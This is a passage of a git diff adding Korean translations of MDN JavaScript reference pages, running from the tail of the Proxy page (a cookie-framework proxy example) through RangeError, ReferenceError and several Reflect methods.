+<h3 id="A_complete_traps_list_example_(완벽한_traps_리스트_예제)">A complete <code>traps</code> list example (완벽한 <code>traps</code> 리스트 예제)</h3>
+
+<p>이제 완벽한 traps 리스트를 생성하기 위해서, <em>non native</em> 객체를 프록시화 할 것이다. 이것은 특히, 다음과 같은 동작에 적합하다 : <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/cookie/Simple_document.cookie_framework" title="https://developer.mozilla.org/en-US/docs/DOM/document.cookie#A_little_framework.3A_a_complete_cookies_reader.2Fwriter_with_full_unicode_support">the "little framework" published on the <code>document.cookie</code> page</a> 에 의해 생성된 <code>docCookies</code> 는 글로벌 객체</p>
+
+<pre class="brush: js">/*
+  var docCookies = ... get the "docCookies" object here:
+  https://developer.mozilla.org/en-US/docs/DOM/document.cookie#A_little_framework.3A_a_complete_cookies_reader.2Fwriter_with_full_unicode_support
+*/
+
+var docCookies = new Proxy(docCookies, {
+  get: function (oTarget, sKey) {
+    return oTarget[sKey] || oTarget.getItem(sKey) || undefined;
+  },
+  set: function (oTarget, sKey, vValue) {
+    if (sKey in oTarget) { return false; }
+    return oTarget.setItem(sKey, vValue);
+  },
+  deleteProperty: function (oTarget, sKey) {
+    if (sKey in oTarget) { return false; }
+    return oTarget.removeItem(sKey);
+  },
+  enumerate: function (oTarget, sKey) {
+    return oTarget.keys();
+  },
+  ownKeys: function (oTarget, sKey) {
+    return oTarget.keys();
+  },
+  has: function (oTarget, sKey) {
+    return sKey in oTarget || oTarget.hasItem(sKey);
+  },
+  defineProperty: function (oTarget, sKey, oDesc) {
+    if (oDesc &amp;&amp; "value" in oDesc) { oTarget.setItem(sKey, oDesc.value); }
+    return oTarget;
+  },
+  getOwnPropertyDescriptor: function (oTarget, sKey) {
+    var vValue = oTarget.getItem(sKey);
+    return vValue ? {
+      value: vValue,
+      writable: true,
+      enumerable: true,
+      configurable: false
+    } : undefined;
+  },
+});
+
+/* Cookies test */
+
+console.log(docCookies.my_cookie1 = "First value");
+console.log(docCookies.getItem("my_cookie1"));
+
+docCookies.setItem("my_cookie1", "Changed value");
+console.log(docCookies.my_cookie1);</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-proxy-objects', 'Proxy')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2016', '#sec-proxy-objects', 'Proxy')}}</td>
+   <td>{{Spec2('ES2016')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2017', '#sec-proxy-objects', 'Proxy')}}</td>
+   <td>{{Spec2('ES2017')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-proxy-objects', 'Proxy')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Proxy", 2)}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a class="external" href="https://www.youtube.com/watch?v=sClk6aB_CPk">"Proxies are awesome" Brendan Eich presentation at JSConf</a> (<a class="external" href="http://www.slideshare.net/BrendanEich/metaprog-5303821">slides</a>)</li>
+ <li><a class="external" href="http://wiki.ecmascript.org/doku.php?id=harmony:proxies">ECMAScript Harmony Proxy proposal page</a> and <a class="external" href="http://wiki.ecmascript.org/doku.php?id=harmony:proxies_semantics">ECMAScript Harmony proxy semantics page</a></li>
+ <li><a class="external" href="http://soft.vub.ac.be/~tvcutsem/proxies/">Tutorial on proxies</a></li>
+ <li><a href="/en-US/docs/JavaScript/Old_Proxy_API" title="/en-US/docs/JavaScript/Old_Proxy_API">SpiderMonkey specific Old Proxy API</a></li>
+ <li>{{jsxref("Object.watch()")}} is a non-standard feature but has been supported in Gecko for a long time.</li>
+</ul>
+
+<h2 id="라이센스_참고사항">라이센스 참고사항</h2>
+
+<p>Some content (text, examples) in this page has been copied or adapted from the <a class="external" href="http://wiki.ecmascript.org/doku.php">ECMAScript wiki</a> which content is licensed <a class="external" href="http://creativecommons.org/licenses/by-nc-sa/2.0/">CC 2.0 BY-NC-SA</a>.</p>
diff --git a/files/ko/web/javascript/reference/global_objects/rangeerror/index.html b/files/ko/web/javascript/reference/global_objects/rangeerror/index.html
new file mode 100644
index 0000000000..7413433c34
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/rangeerror/index.html
@@ -0,0 +1,163 @@
+---
+title: RangeError
+slug: Web/JavaScript/Reference/Global_Objects/RangeError
+translation_of: Web/JavaScript/Reference/Global_Objects/RangeError
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>RangeError</strong></code> 객체는 값이 집합에 없거나 허용되지 않은 값의 범위일 때 에러를 나타냅니다.</p>
+
+<h2 id="구문">구문 </h2>
+
+<pre class="syntaxbox"><code>new RangeError([<var>message</var>[, <var>fileName</var>[, <var>lineNumber</var>]]])</code></pre>
+
+<h3 id="파라메터">파라메터</h3>
+
+<dl>
+ <dt><code>message</code></dt>
+ <dd>선택적 파라메터. 에러에 대한 설명.</dd>
+ <dt><code>fileName</code> {{non-standard_inline}}</dt>
+ <dd>선택적 파라메터. 예외(exception)가 발생한 코드를 포함하고 있는 파일의 이름.</dd>
+ <dt><code>lineNumber</code> {{non-standard_inline}}</dt>
+ <dd>선택적 파라메터. 예외(exception)가 발생한 코드의 라인 넘버.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>RangeError</code> 는 허용되지 않은 범위의 수를 포함한 아규먼트를 함수에 넘기려고 할 때 던져집니다. {{jsxref("Array")}} 생성자로 허용범위를 초과한 길이의 배열 생성을 시도하려 하거나,  적절하지 않은 값을 numeric method({{jsxref("Number.toExponential()")}}, {{jsxref("Number.toFixed()")}} 또는 {{jsxref("Number.toPrecision()")}})에 넘기려 할 때, 이 에러를 만날 수 있을 것입니다.  </p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{jsxref("RangeError.prototype")}}</dt>
+ <dd><code>RangeError</code> 객체에 속성을 추가하도록 해준다. </dd>
+</dl>
+
+<h2 id="메소드">메소드</h2>
+
+<p>전역(global)의 <code>RangeError</code>는 자신의 메소드를 가지고 있지 않습니다. 하지만, 몇 가지의 메소드를 프로토타입 체인을 통해 상속받습니다.</p>
+
+<h2 id="RangeError_인스턴스"><code>RangeError</code> 인스턴스</h2>
+
+<h3 id="속성_2">속성</h3>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/RangeError/prototype', 'Properties')}}</div>
+
+<h3 id="메소드_2">메소드</h3>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/RangeError/prototype', 'Methods')}}</div>
+
+<h2 id="예">예</h2>
+
+<h3 id="RangeError_사용하기"><code>RangeError </code>사용하기</h3>
+
+<pre class="brush: js">var check = function(num) {
+  if (num &lt; MIN || num &gt; MAX) {
+    throw new RangeError('Parameter must be between ' + MIN + ' and ' + MAX);
+  }
+};
+
+try {
+  check(500);
+}
+catch (e) {
+  if (e instanceof RangeError) {
+    // Handle range error
+  }
+}
+</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.6.2', 'RangeError')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-rangeerror', 'RangeError')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-rangeerror', 'RangeError')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("RangeError.prototype")}}</li>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Number.toExponential()")}}</li>
+ <li>{{jsxref("Number.toFixed()")}}</li>
+ <li>{{jsxref("Number.toPrecision()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/referenceerror/index.html b/files/ko/web/javascript/reference/global_objects/referenceerror/index.html
new file mode 100644
index 0000000000..ed5fee8c48
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/referenceerror/index.html
@@ -0,0 +1,129 @@
+---
+title: ReferenceError
+slug: Web/JavaScript/Reference/Global_Objects/ReferenceError
+translation_of: Web/JavaScript/Reference/Global_Objects/ReferenceError
+---
+<div>{{JSRef}}</div>
+
+<div>
+<p><code><strong>ReferenceError</strong></code> 객체는 존재하지 않는 변수를 참조했을 때 발생하는 에러를 나타냅니다.</p>
+</div>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><code>new ReferenceError([<var>message</var>[, <var>fileName</var>[, <var>lineNumber</var>]]])</code></pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<dl>
+ <dt><code>message</code></dt>
+ <dd>선택사항. 에러에 대한 설명문</dd>
+ <dt><code>fileName</code> {{non-standard_inline}}</dt>
+ <dd>선택사항. 예외가 발생한 코드를 포함하는 파일의 이름</dd>
+ <dt><code>lineNumber</code> {{non-standard_inline}}</dt>
+ <dd>선택사항. 예외가 발생한 코드의 줄 번호</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><strong><code>ReferenceError</code></strong>는 선언된 적이 없는 변수를 참조하려고 할 때 발생합니다.</p>
+
+<h2 id="프로퍼티">프로퍼티</h2>
+
+<dl>
+ <dt>{{jsxref("ReferenceError.prototype")}}</dt>
+ <dd>ReferenceError 객체에 프로퍼티를 추가할 수 있습니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p>전역 ReferenceError는 메서드를 가지고 있지 않습니다. 그러나 상속 관계에서 프로토타입 체인을 통해 일부 메서드를 가질 수 있습니다.</p>
+
+<h2 id="ReferenceError_인스턴스"><code>ReferenceError</code> 인스턴스</h2>
+
+<h3 id="프로퍼티_2">프로퍼티</h3>
+
+<div>{{page('/ko-KR/docs/Web/JavaScript/Reference/Global_Objects/ReferenceError/prototype', 'Properties')}}</div>
+
+<h3 id="메서드_2">메서드</h3>
+
+<div>{{page('/ko-KR/docs/Web/JavaScript/Reference/Global_Objects/ReferenceError/prototype', 'Methods')}}</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="ReferenceError_처리하기"><code>ReferenceError</code> 처리하기</h3>
+
+<pre class="brush: js">try {
+  var a = undefinedVariable;
+} catch (e) {
+  console.log(e instanceof ReferenceError); // true
+  console.log(e.message);                   // "undefinedVariable is not defined"
+  console.log(e.name);                      // "ReferenceError"
+  console.log(e.fileName);                  // "Scratchpad/1"
+  console.log(e.lineNumber);                // 2
+  console.log(e.columnNumber);              // 6
+  console.log(e.stack);                     // "@Scratchpad/2:2:7\n"
+}
+</pre>
+
+<h3 id="ReferenceError_생성하기"><code>ReferenceError</code> 생성하기</h3>
+
+<pre class="brush: js">try {
+  throw new ReferenceError('Hello', 'someFile.js', 10);
+} catch (e) {
+  console.log(e instanceof ReferenceError); // true
+  console.log(e.message);                   // "Hello"
+  console.log(e.name);                      // "ReferenceError"
+  console.log(e.fileName);                  // "someFile.js"
+  console.log(e.lineNumber);                // 10
+  console.log(e.columnNumber);              // 0
+  console.log(e.stack);                     // "@Scratchpad/2:2:9\n"
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.6.3', 'ReferenceError')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-referenceerror', 'ReferenceError')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-referenceerror', 'ReferenceError')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+<div class="hidden">이 페이지의 호환성 테이블은 구조화된 데이터로부터 생성됩니다. 해당 데이터를 개선하고 싶다면 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>을 체크아웃하고 저희에게 풀 리퀘스트를 보내주십시오.</div>
+
+<p>{{Compat("javascript.builtins.ReferenceError")}}</p>
+</div>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("ReferenceError.prototype")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/reflect/apply/index.html b/files/ko/web/javascript/reference/global_objects/reflect/apply/index.html
new file mode 100644
index 0000000000..a9146a0952
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/reflect/apply/index.html
@@ -0,0 +1,93 @@
+---
+title: Reflect.apply()
+slug: Web/JavaScript/Reference/Global_Objects/Reflect/apply
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - Reference
+  - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/apply
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Reflect</strong></code><strong><code>.apply()</code></strong> 정적 메서드는 대상 함수를 주어진 매개변수로 호출합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-apply.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Reflect.apply(<em>target</em>, <em>thisArgument</em>, <em>argumentsList</em>)
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>호출할 대상 함수.</dd>
+ <dt><code>thisArgument</code></dt>
+ <dd>호출에서 <code>target</code>의 <code>this</code>로 사용할 값.</dd>
+ <dt><code>argumentsList</code></dt>
+ <dd><code>target</code>을 호출할 때 매개변수로 전달할 배열형 객체.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 <code>this</code> 값과 매개변수로 대상 함수를 호출한 결과.</p>
+
+<h3 id="예외">예외</h3>
+
+<p><code>target</code>이 호출 가능한 객체가 아니면 {{jsxref("TypeError")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>ES5에서는 {{jsxref("Function.prototype.apply()")}} 메서드를 사용해, 함수를 호출할 때 <code>this</code> 값을 지정하거나 매개변수를 배열(또는 배열형 객체)에서 넘겨줄 수 있었습니다.</p>
+
+<pre class="brush: js">Function.prototype.apply.call(Math.floor, undefined, [1.75]);</pre>
+
+<p><code>Reflect.apply()</code> 메서드를 사용해 같은 작업을 더 쉽고 유려하게 수행할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Reflect.apply_사용하기"><code>Reflect.apply()</code> 사용하기</h3>
+
+<pre class="brush: js">Reflect.apply(Math.floor, undefined, [1.75]);
+// 1;
+
+Reflect.apply(String.fromCharCode, undefined, [104, 101, 108, 108, 111]);
+// "hello"
+
+Reflect.apply(RegExp.prototype.exec, /ab/, ['confabulation']).index;
+// 4
+
+Reflect.apply(''.charAt, 'ponies', [3]);
+// "i"
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-reflect.apply', 'Reflect.apply')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Reflect.apply")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li>{{jsxref("Function.prototype.apply()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/reflect/construct/index.html b/files/ko/web/javascript/reference/global_objects/reflect/construct/index.html
new file mode 100644
index 0000000000..e98f3204de
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/reflect/construct/index.html
@@ -0,0 +1,154 @@
+---
+title: Reflect.construct()
+slug: Web/JavaScript/Reference/Global_Objects/Reflect/construct
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - Reference
+  - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/construct
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Reflect</strong></code><strong><code>.construct()</code></strong> 정적 메서드는 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new"><code>new</code> 연산자</a>처럼 동작하는 함수입니다. <code>new target(...args)</code>를 호출하는 것과 같습니다. 추가 기능으로 다른 프로토타입을 지정할 수도 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-construct.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Reflect.construct(<em>target</em>, <em>argumentsList</em>[, <em>newTarget</em>])
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>호출할 대상 함수.</dd>
+ <dt><code>argumentsList</code></dt>
+ <dd><code>target</code>의 매개변수로 전달할 배열형 객체.</dd>
+ <dt><code>newTarget</code> {{optional_inline}}</dt>
+ <dd>프로토타입으로 사용할 생성자. <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/new.target">new.target</a></code> 연산자도 확인하세요. <code>newTarget</code>이 주어지지 않았을 땐 <code>target</code>을 사용합니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p><code>target</code>을 생성자로 하고 주어진 매개변수를 전달해 생성한 <code>target</code>(또는, 지정했다면 <code>newTarget</code>)의 새로운 인스턴스.</p>
+
+<h3 id="예외">예외</h3>
+
+<p><code>target</code> 또는 <code>newTarget</code>이 생성자가 아니면 {{jsxref("TypeError")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Reflect.construct()</code>는 생성자를 가변 길이의 매개변수로 호출할 수 있습니다. (<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new"><code>new</code> 연산자</a>와 <a href="/ko/docs/Web/JavaScript/Reference/Operators/Spread_syntax">전개 구문</a>을 사용해도 가능합니다)</p>
+
+<pre class="brush: js">var obj = new Foo(...args);
+var obj = Reflect.construct(Foo, args);
+</pre>
+
+<h3 id="Reflect.construct()_vs_Object.create()"><code>Reflect.construct()</code> vs <code>Object.create()</code></h3>
+
+<p><code>Reflect</code>의 도입 이전에는 임의의 생성자와 프로토타입에 {{jsxref("Object.create()")}}를 사용해 객체를 생성할 수 있었습니다.</p>
+
+<pre class="brush: js">function OneClass() {
+    this.name = 'one';
+}
+
+function OtherClass() {
+    this.name = 'other';
+}
+
+// Calling this:
+var obj1 = Reflect.construct(OneClass, args, OtherClass);
+
+// ...has the same result as this:
+var obj2 = Object.create(OtherClass.prototype);
+OneClass.apply(obj2, args);
+
+console.log(obj1.name); // 'one'
+console.log(obj2.name); // 'one'
+
+console.log(obj1 instanceof OneClass); // false
+console.log(obj2 instanceof OneClass); // false
+
+console.log(obj1 instanceof OtherClass); // true
+console.log(obj2 instanceof OtherClass); // true
+</pre>
+
+<p>그러나, 결과는 동일하더라도 과정에는 중요한 차이가 하나 존재합니다. <code>Object.create()</code>와 {{jsxref("Function.prototype.apply()")}}를 사용할 땐, 객체 생성에 <code>new</code> 키워드가 관여하지 않으므로 <code>new.target</code> 연산자가 <code>undefined</code>를 가리킵니다.</p>
+
+<p>반면 <code>Reflect.construct()</code>를 호출하면, <code>newTarget</code>이 존재하면 <code>new.target</code> 연산자가 <code>newTarget</code>을, 아니면 <code>target</code>을 가리킵니다.</p>
+
+<pre class="brush: js">function OneClass() {
+    console.log('OneClass');
+    console.log(new.target);
+}
+function OtherClass() {
+    console.log('OtherClass');
+    console.log(new.target);
+}
+
+var obj1 = Reflect.construct(OneClass, args);
+// Output:
+//     OneClass
+//     function OneClass { ... }
+
+var obj2 = Reflect.construct(OneClass, args, OtherClass);
+// Output:
+//     OneClass
+//     function OtherClass { ... }
+
+var obj3 = Object.create(OtherClass.prototype);
+OneClass.apply(obj3, args);
+// Output:
+//     OneClass
+//     undefined
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Reflect.construct()_사용하기"><code>Reflect.construct()</code> 사용하기</h3>
+
+<pre class="brush: js">var d = Reflect.construct(Date, [1776, 6, 4]);
+d instanceof Date; // true
+d.getFullYear(); // 1776
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-reflect.construct', 'Reflect.construct')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-reflect.construct', 'Reflect.construct')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Reflect.construct")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new"><code>new</code></a></li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/new.target">new.target</a></code></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/reflect/defineproperty/index.html b/files/ko/web/javascript/reference/global_objects/reflect/defineproperty/index.html
new file mode 100644
index 0000000000..a88d2bd722
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/reflect/defineproperty/index.html
@@ -0,0 +1,100 @@
+---
+title: Reflect.defineProperty()
+slug: Web/JavaScript/Reference/Global_Objects/Reflect/defineProperty
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - Reference
+  - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/defineProperty
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Reflect</strong></code><strong><code>.defineProperty()</code></strong> 정적 메서드는 {{jsxref("Object.defineProperty()")}}와 같은 동작을 하지만 {{jsxref("Boolean")}}을 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-defineproperty.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Reflect.defineProperty(<em>target</em>, <em>propertyKey</em>, <em>attributes</em>)
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>속성을 정의할 대상 객체.</dd>
+ <dt><code>propertyKey</code></dt>
+ <dd>정의하거나 수정할 속성의 이름.</dd>
+ <dt><code>attributes</code></dt>
+ <dd>정의하거나 수정하는 속성을 기술하는 객체.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>속성이 성공적으로 정의됐는지 나타내는 {{jsxref("Boolean")}}.</p>
+
+<h3 id="예외">예외</h3>
+
+<p><code>target</code>이 {{jsxref("Object")}}가 아니면 {{jsxref("TypeError")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Reflect.defineProperty</code> 메서드는 객체에 속성을 정교하게 추가하거나 수정할 수 있습니다. 자세한 내용은 유사한 메서드인 {{jsxref("Object.defineProperty")}}를 참고하세요. <code>Object.defineProperty</code>는 성공 시 대상 객체를 반환하고 실패하면 {{jsxref("TypeError")}}를 던지지만, <code>Reflect.defineProperty</code>는 성공 여부를 나타내는 {{jsxref("Boolean")}}을 반환합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Reflect.defineProperty()_사용하기"><code>Reflect.defineProperty()</code> 사용하기</h3>
+
+<pre class="brush: js">var obj = {};
+Reflect.defineProperty(obj, 'x', {value: 7}); // true
+obj.x; // 7
+</pre>
+
+<h3 id="속성_정의의_성공_여부_알아내기">속성 정의의 성공 여부 알아내기</h3>
+
+<p>{{jsxref("Object.defineProperty")}}는 성공 시 객체를 반환하고, 실패 시 {{jsxref("TypeError")}}를 던지므로 속성 정의 과정에 발생할 수 있는 오류를 <code><a href="/ko/docs/Web/JavaScript/Reference/Statements/try...catch">try...catch</a></code> 블록으로 잡아야 합니다. 반면 <code>Reflect.defineProperty</code>는 성공 여부를 나타내는 {{jsxref("Boolean")}}을 반환하므로, 간단하게 <code><a href="/ko/docs/Web/JavaScript/Reference/Statements/if...else">if...else</a></code> 블록만 사용하면 됩니다.</p>
+
+<pre class="brush: js">if (Reflect.defineProperty(target, property, attributes)) {
+  // 성공
+} else {
+  // 실패
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-reflect.defineproperty', 'Reflect.defineProperty')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-reflect.defineproperty', 'Reflect.defineProperty')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Reflect.defineProperty")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/reflect/deleteproperty/index.html b/files/ko/web/javascript/reference/global_objects/reflect/deleteproperty/index.html
new file mode 100644
index 0000000000..de3b8f8ed8
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/reflect/deleteproperty/index.html
@@ -0,0 +1,98 @@
+---
+title: Reflect.deleteProperty()
+slug: Web/JavaScript/Reference/Global_Objects/Reflect/deleteProperty
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - Reference
+  - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/deleteProperty
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Reflect</strong></code><strong><code>.deleteProperty()</code></strong> 정적 메서드는 속성을 제거할 수 있습니다. <a href="/ko/docs/Web/JavaScript/Reference/Operators/delete"><code>delete</code> 연산자</a>의 함수판이라고 할 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-deleteproperty.html", "taller")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Reflect.deleteProperty(<em>target</em>, <em>propertyKey</em>)
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>속성을 제거할 대상 객체.</dd>
+ <dt><code>propertyKey</code></dt>
+ <dd>제거할 속성의 이름.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>속성이 성공적으로 제거됐는지 나타내는 {{jsxref("Boolean")}}.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
